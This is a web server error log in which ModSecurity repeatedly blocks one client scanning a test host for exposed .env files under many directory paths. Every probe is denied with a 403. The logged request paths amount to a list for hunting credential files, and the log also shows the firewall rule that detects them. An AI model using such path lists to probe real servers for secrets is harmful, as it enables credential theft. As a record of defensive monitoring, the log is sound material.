[Thu Feb 26 01:03:05.572592 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWQAAAAI&quot;]
[Thu Feb 26 01:03:05.572752 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWQAAAAI&quot;]
[Thu Feb 26 01:03:05.577606 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvQAAAAQ&quot;]
[Thu Feb 26 01:03:05.577805 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvQAAAAQ&quot;]
[Thu Feb 26 01:03:05.577945 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvQAAAAQ&quot;]
[Thu Feb 26 01:03:05.597088 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /google/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWgAAAAI&quot;]
[Thu Feb 26 01:03:05.597308 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWgAAAAI&quot;]
[Thu Feb 26 01:03:05.597463 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWgAAAAI&quot;]
[Thu Feb 26 01:03:05.627033 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvgAAAAQ&quot;]
[Thu Feb 26 01:03:05.627242 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvgAAAAQ&quot;]
[Thu Feb 26 01:03:05.627387 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvgAAAAQ&quot;]
[Thu Feb 26 01:03:05.651564 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvwAAAAQ&quot;]
[Thu Feb 26 01:03:05.651778 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvwAAAAQ&quot;]
[Thu Feb 26 01:03:05.651958 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHvwAAAAQ&quot;]
[Thu Feb 26 01:03:05.686604 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwAAAAAQ&quot;]
[Thu Feb 26 01:03:05.686830 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwAAAAAQ&quot;]
[Thu Feb 26 01:03:05.686973 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwAAAAAQ&quot;]
[Thu Feb 26 01:03:05.755258 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwgAAAAQ&quot;]
[Thu Feb 26 01:03:05.755491 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwgAAAAQ&quot;]
[Thu Feb 26 01:03:05.755652 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHwgAAAAQ&quot;]
[Thu Feb 26 01:03:05.762630 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXQAAAAI&quot;]
[Thu Feb 26 01:03:05.762856 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXQAAAAI&quot;]
[Thu Feb 26 01:03:05.763005 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXQAAAAI&quot;]
[Thu Feb 26 01:03:05.795898 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXgAAAAI&quot;]
[Thu Feb 26 01:03:05.796112 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXgAAAAI&quot;]
[Thu Feb 26 01:03:05.796256 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXgAAAAI&quot;]
[Thu Feb 26 01:03:05.821054 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hash/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXwAAAAI&quot;]
[Thu Feb 26 01:03:05.821279 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXwAAAAI&quot;]
[Thu Feb 26 01:03:05.821447 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlXwAAAAI&quot;]
[Thu Feb 26 01:03:05.845677 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hasura/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYAAAAAI&quot;]
[Thu Feb 26 01:03:05.845902 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYAAAAAI&quot;]
[Thu Feb 26 01:03:05.846044 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYAAAAAI&quot;]
[Thu Feb 26 01:03:05.896871 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helmetjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlYgAAAAI&quot;]
